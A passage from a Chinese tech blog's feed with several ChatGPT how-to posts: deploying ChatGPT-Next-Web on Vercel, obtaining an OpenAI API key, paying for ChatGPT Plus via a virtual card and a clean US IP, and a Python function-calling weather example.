&lt;li&gt;可关联 github，只需要往 github 提交代码，它会自动获取最新的提交，然后自动部署&lt;/li&gt;
&lt;li&gt;提供免费域名，如果有自己的域名，你可以将域名解析到这个平台&lt;/li&gt;
&lt;li&gt;提供免费的 HTTPS 证书&lt;/li&gt;
&lt;li&gt;傻瓜式部署方式，支持命令行部署和管理后台部署&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我们直接用Github上开源的ChatGPT项目来部署，&lt;strong&gt;&lt;a href="https://github.com/Yidadaa/ChatGPT-Next-Web"&gt;ChatGPT-Next-Web&lt;/a&gt;&lt;/strong&gt; 这个项目Star 有3万多，很受欢迎。界面是长这样的：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230627121850836" src="../../images/image-20230627121850836.png"&gt;&lt;/p&gt;
&lt;p&gt;交互和官网的ChatGPT差不多，但提供了大量的预设角色。&lt;/p&gt;
&lt;p&gt;第一步：直接fork&lt;strong&gt;&lt;a href="https://github.com/Yidadaa/ChatGPT-Next-Web"&gt;ChatGPT-Next-Web&lt;/a&gt;&lt;/strong&gt; 项目到自己的github账号中&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230627122206897" src="../../images/image-20230627122206897.png"&gt;&lt;/p&gt;
&lt;p&gt;第二步：注册&lt;a href="https://vercel.com/login"&gt;Vercel&lt;/a&gt;账号，这里建议直接用Github授权登录即可。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230627122507285" src="../../images/image-20230627122507285.png"&gt;&lt;/p&gt;
&lt;p&gt;第三步：新建项目&lt;/p&gt;
&lt;p&gt;当你从 Github fork 本项目之后，需要在 Vercel 创建一个全新的 Vercel 项目来部署，按照下列步骤进行。&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/vercel-create-1-1687840410751-5.jpg"&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;进入 Vercel 控制台首页；&lt;/li&gt;
&lt;li&gt;点击 Add New；&lt;/li&gt;
&lt;li&gt;选择 Project。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="vercel-create-2" src="../../images/vercel-create-2.jpg"&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在 Import Git Repository 处，搜索 chatgpt-next-web；&lt;/li&gt;
&lt;li&gt;选中新 fork 的项目，点击 Import。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="vercel-create-3" src="../../images/vercel-create-3.jpg"&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在项目配置页，点开 Environmane Variables 开始配置环境变量； &lt;/li&gt;
&lt;li&gt;新增名为 OPENAI_API_KEY 和 CODE (访问密码) 的环境变量； OPENAI_API_KEY 就是OpenAI给开发者的key，如何获取情参考文章：&lt;a href="how-to-get-openai-key"&gt;如何获取OpenAI ChatGPT的 API key&lt;/a&gt;， CODE可设或者不设，不设的话任何人都能访问你的网站。&lt;/li&gt;
&lt;li&gt;填入环境变量对应的值；&lt;/li&gt;
&lt;li&gt;点击 Add 确认增加环境变量；&lt;/li&gt;
&lt;li&gt;点击 Deploy，创建完成，耐心等待 5 分钟左右部署完成。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="image-20230627153858508" src="../../images/image-20230627153858508.png"&gt;&lt;/p&gt;
&lt;p&gt;第四步：绑定域名&lt;/p&gt;
&lt;p&gt;如果你有自己的域名，那你还可以通过配置将自己的域名解析到这个网站上来。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230627154355564" src="../../images/image-20230627154355564.png"&gt;&lt;/p&gt;
&lt;p&gt;进入该项目主页，点击“Domians”&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230627154420579" src="../images/image-20230627154420579.png"&gt;&lt;/p&gt;
&lt;p&gt;点击“Edit”&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230627154851385" src="../images/image-20230627154851385.png"&gt;&lt;/p&gt;
&lt;p&gt;点“Add”后，去你的域名购买的服务商后台配置一个CNAME，输入的值就是下面圈出来的部分。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230627154943441" src="../../images/image-20230627154943441.png"&gt;&lt;/p&gt;
&lt;p&gt;我的域名是godaddy上买的，我只要在这里加一条CNAME记录即可。配置好后，vercel会自动给你配置https。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230627155228029" src="../../images/image-20230627155228029.png"&gt;&lt;/p&gt;
&lt;p&gt;最后访问下地址没有任何问题，大功告成。&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>如何获取OpenAI ChatGPT的 API key？</title><link href="https://foofish.net/how-to-get-openai-key.html" rel="alternate"/><published>2023-06-27T12:00:01+08:00</published><updated>2023-06-27T12:00:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-06-27:/how-to-get-openai-key.html</id><summary type="html">&lt;p&gt;用你的ChatGPT账号密码登录网站：&lt;a href="https://platform.openai.com/overview"&gt;https://platform.openai.com/overview&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230627124104964" src="../../images/image-20230627124104964.png"&gt;&lt;/p&gt;
&lt;p&gt;1、点击右上角“Personal“&lt;/p&gt;
&lt;p&gt;2、点击 Vist API keys&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230627124207403" src="../../images/image-20230627124207403.png"&gt;&lt;/p&gt;
&lt;p&gt;点击 “Create enw secret key” 创建一个新的key&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230627124301461" src="../../images/image-20230627124301461.png"&gt;&lt;/p&gt;
&lt;p&gt;名字随便填或者不填，点击“”Create secret key“”，会 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;用你的ChatGPT账号密码登录网站：&lt;a href="https://platform.openai.com/overview"&gt;https://platform.openai.com/overview&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230627124104964" src="../../images/image-20230627124104964.png"&gt;&lt;/p&gt;
&lt;p&gt;1、点击右上角“Personal“&lt;/p&gt;
&lt;p&gt;2、点击 Vist API keys&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230627124207403" src="../../images/image-20230627124207403.png"&gt;&lt;/p&gt;
&lt;p&gt;点击 “Create enw secret key” 创建一个新的key&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230627124301461" src="../../images/image-20230627124301461.png"&gt;&lt;/p&gt;
&lt;p&gt;名字随便填或者不填，点击“”Create secret key“”，会给你生成一串很长的字符串，以sk-开头， 复制后保存到本地，如果这个key弄丢了是找不回的，只能重新生成新的，所以要妥善保管。&lt;/p&gt;
&lt;p&gt;如果该key泄露出去了，请及时删除否则将消耗你的费用。&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>用 WildCard 充值ChatGPT Plus 会员</title><link href="https://foofish.net/chatgpt-plus-upgrade-with-wildcard.html" rel="alternate"/><published>2023-06-19T12:00:01+08:00</published><updated>2023-06-19T12:00:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-06-19:/chatgpt-plus-upgrade-with-wildcard.html</id><summary type="html">&lt;p&gt;安利一下充值ChatGPT Plus 会员的新渠道 WildCard ,   优势在于它注册方便, 开卡速度快, 最重要的是它支持支付宝付款, 其它平台都需要先 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;安利一下充值ChatGPT Plus 会员的新渠道 WildCard ,   优势在于它注册方便, 开卡速度快, 最重要的是它支持支付宝付款, 其它平台都需要先去购买稳定币来兑换, 这对普通用户来说门槛太高.  还有高昂的手续费. WildCard的开卡费是9.9美元, 没有后续的月费用.&lt;/p&gt;
&lt;h3&gt;注册&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://bewildcard.com/i/ZHIJUN"&gt;https://bewildcard.com/i/ZHIJUN&lt;/a&gt;  目前是邀请制注册, 可输入我的邀请码 &lt;strong&gt;ZHIJUN&lt;/strong&gt; , 注册成功后上传身份信息可以. 首次开卡金额是9.9美元,  直接用支付宝就可以付款.&lt;/p&gt;
&lt;p&gt;第一次充值最低要充值25美元,  为什么要充这么多呢,  因为OpenAI 会在绑卡的时候进行5美元的预扣款，如果在这之后订阅 $20 的Plus 会余额不够，所以限定最低充值额度在25美元。  卡里面的余额可以随时提现, 会自动返回到支付宝账号中. 速度很快.&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230619125219583" src="images/image-20230619125219583.png"&gt;&lt;/p&gt;
&lt;p&gt;卡里面还有一个对应的账单地址,在升级ChatGPT Plus 会员时可以直接使用该地址.&lt;/p&gt;
&lt;h3&gt;升级 ChatGPT Plus&lt;/h3&gt;
&lt;p&gt;充值ChatGPT Plus 时, 需要确保自己的网络环境是美国IP,而且要开启全局代理,  可以打开这个网站 &lt;a href="https://nordvpn.com/zh/what-is-my-ip/"&gt;https://nordvpn.com/zh/what-is-my-ip/&lt;/a&gt; 查看你的IP是不是美国的.&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230619124845593" src="images/image-20230619124845593.png"&gt;&lt;/p&gt;
&lt;p&gt;进入 https://chat.openai.com/ 点击升级按钮。选择 ChatGPT Plus 便可进入绑卡页面&lt;/p&gt;
&lt;p&gt;&lt;img alt="gpt-tutorial-1" src="images/gpt-tutorial-1.ecc23e399ace7fd2d253.png"&gt;&lt;/p&gt;
&lt;p&gt;选择 Upgrade plan&lt;/p&gt;
&lt;p&gt;&lt;img alt="gpt-tutorial-2" src="images/gpt-tutorial-2.57d18584fd75d011b35c.png"&gt;&lt;/p&gt;
&lt;p&gt;绑卡的时候进入到 支付页面、填入卡号、有效月份/年份、CVC（即您的 CVV ）、账单地址及姓名便可成功绑定。 账单地址填卡片上面的账单地址.&lt;/p&gt;
&lt;p&gt;&lt;img alt="gpt-tutorial-3" src="images/gpt-tutorial-3.ac92789ae4ed227c7544.png"&gt;&lt;/p&gt;
&lt;p&gt;最后充值成功后会自动从卡里扣除20美元,  卡里剩下的钱可以提现.&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>如何获得纯净IP来充值ChatGPT</title><link href="https://foofish.net/build-a-static-public-ip-with-google-cloud-shell.html" rel="alternate"/><published>2023-06-18T15:00:01+08:00</published><updated>2023-06-18T15:00:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-06-18:/build-a-static-public-ip-with-google-cloud-shell.html</id><summary type="html">&lt;h3&gt;背景&lt;/h3&gt;
&lt;p&gt;ChatGPT升级Plus经常会遇到支付被拒的问题，有一种情况是因为你的代理IP被污染导致的，因为该IP被很多人共用导致风控触发从而禁止支付，一种可能的办法是找一个纯净的IP，比如美国住宅IP，这种比较难弄到，还 …&lt;/p&gt;</summary><content type="html">&lt;h3&gt;背景&lt;/h3&gt;
&lt;p&gt;ChatGPT升级Plus经常会遇到支付被拒的问题，有一种情况是因为你的代理IP被污染导致的，因为该IP被很多人共用导致风控触发从而禁止支付，一种可能的办法是找一个纯净的IP，比如美国住宅IP，这种比较难弄到，还有一个办法是买一台带固定IP的虚拟主机。&lt;/p&gt;
&lt;p&gt;还有一种可以白嫖又超级简单的方式使用谷歌云的Cloud Shell 快速创建一个云桌面。&lt;/p&gt;
&lt;h3&gt;步骤&lt;/h3&gt;
&lt;p&gt;登录谷歌云  https://cloud.google.com/?hl=zh-cn ， 进入控制台后，激活 Cloud Shell&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230618144349159" src="../../images/image-20230618144349159.png"&gt;&lt;/p&gt;
&lt;p&gt;Cloud Shell 其实就是一个在线的命令行终端，通过该Shell，我们用Docker来启动一个Linux的云桌面&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;docker run -p 8080:80 dorowu/ubuntu-desktop-lxde-vnc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;点”在网页预览“&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230618150459359" src="../../images/image-20230618150459359.png"&gt;&lt;/p&gt;
&lt;p&gt;进入新网页后，你看到的就是一个Ubuntu的云桌面系统，是FireFox浏览器验证一下IP&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230618144532696" src="../../images/image-20230618144532696.png"&gt;&lt;/p&gt;
&lt;p&gt;现在如果你要充值ChatGPT Plus，就可以考虑将账号登录到该云桌面进行绑卡操作了，应为这个IP是固定的，而且不会有人和你共用，相当于是纯净IP，通过的概率非常高，亲测可用。&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>利用ChatGPT的函数调用功能实现：实时查询天气</title><link href="https://foofish.net/chatgpt-function-calling.html" rel="alternate"/><published>2023-06-15T20:00:01+08:00</published><updated>2023-06-15T20:00:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-06-15:/chatgpt-function-calling.html</id><summary type="html">&lt;p&gt;&lt;img alt="image-20230614223818614" src="../../images/image-20230614223818614.png"&gt;&lt;/p&gt;
&lt;p&gt;OpenAI 今天发布几个重磅更新 &lt;/p&gt;
&lt;p&gt;1、 开放 16k 上下文的 GPT-3.5-Turbo 模型（gpt-3.5-turbo-16k），是目前的4倍
2、 新的 GPT-4 和 3.5 Turbo 模型
3、Chat Completions API 中的新增加函 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;img alt="image-20230614223818614" src="../../images/image-20230614223818614.png"&gt;&lt;/p&gt;
&lt;p&gt;OpenAI 今天发布几个重磅更新 &lt;/p&gt;
&lt;p&gt;1、 开放 16k 上下文的 GPT-3.5-Turbo 模型（gpt-3.5-turbo-16k），是目前的4倍
2、 新的 GPT-4 和 3.5 Turbo 模型
3、Chat Completions API 中的新增加函数调用功能 （实时获取网络数据成为可能）
4、embeddings模型的成本降低75%
5、gpt-3.5-turbo的输入token成本降低了25% （开发者的福音）&lt;/p&gt;
&lt;p&gt;其中最令人兴奋的功能应该当属&lt;strong&gt;函数调用&lt;/strong&gt;功能，我们都知道ChatGPT训练的数据是基于2021年之前的，你要问一些实时性相关的问题就没法回答你了，而函数调用让实时获取网络数据成为可能，比如查询天气预报、查股票、推荐个近期的电影之类的。&lt;/p&gt;
&lt;p&gt;哪些模型支持函数调用？&lt;/p&gt;
&lt;p&gt;&lt;code&gt;gpt-3.5-turbo-0613&lt;/code&gt; 和 &lt;code&gt;gpt-4-0613&lt;/code&gt; 这两个模型都支持函数调用。&lt;/p&gt;
&lt;p&gt;函数调用的流程是什么？&lt;/p&gt;
&lt;p&gt;1、用户发起提问时，调用一次带有函数描述的completions接口，gpt会判断是否支持调用函数，如果可以就从用户的提问信息中提取出函数所需要的参数。
2、开发者拿到gpt提取出来的参数后自行调用函数并返回结果
3、将函数的返回结果再次发给GPT做总结归纳为自然语言&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230614235909239" src="images/image-20230614235909239.png"&gt;&lt;/p&gt;
&lt;p&gt;需要注意的地方：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;整个过程gpt会执行两次，第一次调用从问题中提取函数参数，第二次对函数返回结果做归纳总结&lt;/li&gt;
&lt;li&gt;函数调用并不是由gpt调用，而是开发者来调用&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;举个真实例子&lt;/p&gt;
&lt;p&gt;这里我以实时获取天气预报为例子演示函数调用的流程，天气预报接口我用的第三方高德API，免费，每天几千次的调用额度。申请注册流程这里省略，自行研究。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;＃&lt;/span&gt;　&lt;span class="n"&gt;获取天气函数&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_weather&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;city_name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;https://restapi.amap.com/v3/weather/weatherInfo?&amp;quot;&lt;/span&gt;

    &lt;span class="n"&gt;params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;key&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;替换成你自己的key&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
              &lt;span class="s2"&gt;&amp;quot;city&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;110000&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;city_code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;110000&amp;quot;&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;city&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;CITIES&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;city_name&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;city&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;city&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="n"&gt;city_code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;city&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;adcode&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;break&lt;/span&gt;
    &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;city&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;city_code&lt;/span&gt;

    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# 返回结果：&lt;/span&gt;
    &lt;span class="c1"&gt;# {&amp;#39;count&amp;#39;: &amp;#39;1&amp;#39;,&lt;/span&gt;
    &lt;span class="c1"&gt;#  &amp;#39;info&amp;#39;: &amp;#39;OK&amp;#39;,&lt;/span&gt;
    &lt;span class="c1"&gt;#  &amp;#39;infocode&amp;#39;: &amp;#39;10000&amp;#39;,&lt;/span&gt;
    &lt;span class="c1"&gt;#  &amp;#39;lives&amp;#39;: [{&amp;#39;adcode&amp;#39;: &amp;#39;440300&amp;#39;,&lt;/span&gt;
    &lt;span class="c1"&gt;#             &amp;#39;city&amp;#39;: &amp;#39;深圳市&amp;#39;,&lt;/span&gt;
    &lt;span class="c1"&gt;#             &amp;#39;humidity&amp;#39;: &amp;#39;81&amp;#39;,&lt;/span&gt;
    &lt;span class="c1"&gt;#             &amp;#39;humidity_float&amp;#39;: &amp;#39;81.0&amp;#39;,&lt;/span&gt;
    &lt;span class="c1"&gt;#             &amp;#39;province&amp;#39;: &amp;#39;广东&amp;#39;,&lt;/span&gt;
    &lt;span class="c1"&gt;#             &amp;#39;reporttime&amp;#39;: &amp;#39;2023-06-14 15:00:43&amp;#39;,&lt;/span&gt;
    &lt;span class="c1"&gt;#             &amp;#39;temperature&amp;#39;: &amp;#39;29&amp;#39;,&lt;/span&gt;
    &lt;span class="c1"&gt;#             &amp;#39;temperature_float&amp;#39;: &amp;#39;29.0&amp;#39;,&lt;/span&gt;
    &lt;span class="c1"&gt;#             &amp;#39;weather&amp;#39;: &amp;#39;大雨&amp;#39;,&lt;/span&gt;
    &lt;span class="c1"&gt;#             &amp;#39;winddirection&amp;#39;: &amp;#39;西南&amp;#39;,&lt;/span&gt;
    &lt;span class="c1"&gt;#             &amp;#39;windpower&amp;#39;: &amp;#39;≤3&amp;#39;}],&lt;/span&gt;
    &lt;span class="c1"&gt;#  &amp;#39;status&amp;#39;: &amp;#39;1&amp;#39;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;lives&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;这个函数就是用来查询天气情况的，参数 &lt;code&gt;city_name&lt;/code&gt; 是城市的名字，因为高德API只支持通过城市代码查天气，所以我这里做了一次根据城市名找到对应编码的查询&lt;/p&gt;
&lt;p&gt;接口返回的结果中包含有温度（temperature）、风度（windpower）、风向（winddirection）、湿度（humidity）、天气（weather）等字段信息。&lt;/p&gt;
&lt;p&gt;天气函数准备好后，用户开始提问：“深圳天气如何？“， 第一次调用｀ChatCompletion｀接口。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;openai&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ChatCompletion&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;gpt-3.5-turbo-0613&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;role&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;user&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;content&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;深圳天气如何？&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}],&lt;/span&gt;
            &lt;span class="n"&gt;functions&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
                &lt;span class="p"&gt;{&lt;/span&gt;
                    &lt;span class="s2"&gt;&amp;quot;name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;get_weather&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="s2"&gt;&amp;quot;description&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;获取指定地区的当前天气情况&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="s2"&gt;&amp;quot;parameters&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                        &lt;span class="s2"&gt;&amp;quot;type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;object&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                        &lt;span class="s2"&gt;&amp;quot;properties&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                            &lt;span class="s2"&gt;&amp;quot;city_name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                                &lt;span class="s2"&gt;&amp;quot;type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;string&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                &lt;span class="s2"&gt;&amp;quot;description&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;城市，例如：深圳&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                            &lt;span class="p"&gt;},&lt;/span&gt;
                        &lt;span class="p"&gt;},&lt;/span&gt;
                        &lt;span class="s2"&gt;&amp;quot;required&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;city_name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
                    &lt;span class="p"&gt;},&lt;/span&gt;
                &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="p"&gt;],&lt;/span&gt;
            &lt;span class="n"&gt;function_call&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;auto&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;这里我们指定了一个&lt;code&gt;functions&lt;/code&gt; 参数，该参数描述了函数的名字以及参数类型，比如我们这里定义了&lt;code&gt;city_name&lt;/code&gt;的参数，gpt 就会从用户问题中提取出city_name。&lt;/p&gt;
&lt;p&gt;response的返回结果是：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;  &lt;span class="s2"&gt;&amp;quot;choices&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;&amp;quot;finish_reason&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;function_call&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="s2"&gt;&amp;quot;index&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="s2"&gt;&amp;quot;message&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;&amp;quot;content&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;&amp;quot;function_call&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="s2"&gt;&amp;quot;arguments&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;{&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;  &lt;/span&gt;&lt;span class="se"&gt;\&amp;quot;&lt;/span&gt;&lt;span class="s2"&gt;city_name&lt;/span&gt;&lt;span class="se"&gt;\&amp;quot;&lt;/span&gt;&lt;span class="s2"&gt;: &lt;/span&gt;&lt;span class="se"&gt;\&amp;quot;\u6df1\u5733\&amp;quot;\n&lt;/span&gt;&lt;span class="s2"&gt;}&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
          &lt;span class="s2"&gt;&amp;quot;name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;get_weather&amp;quot;&lt;/span&gt;
        &lt;span class="p"&gt;},&lt;/span&gt;
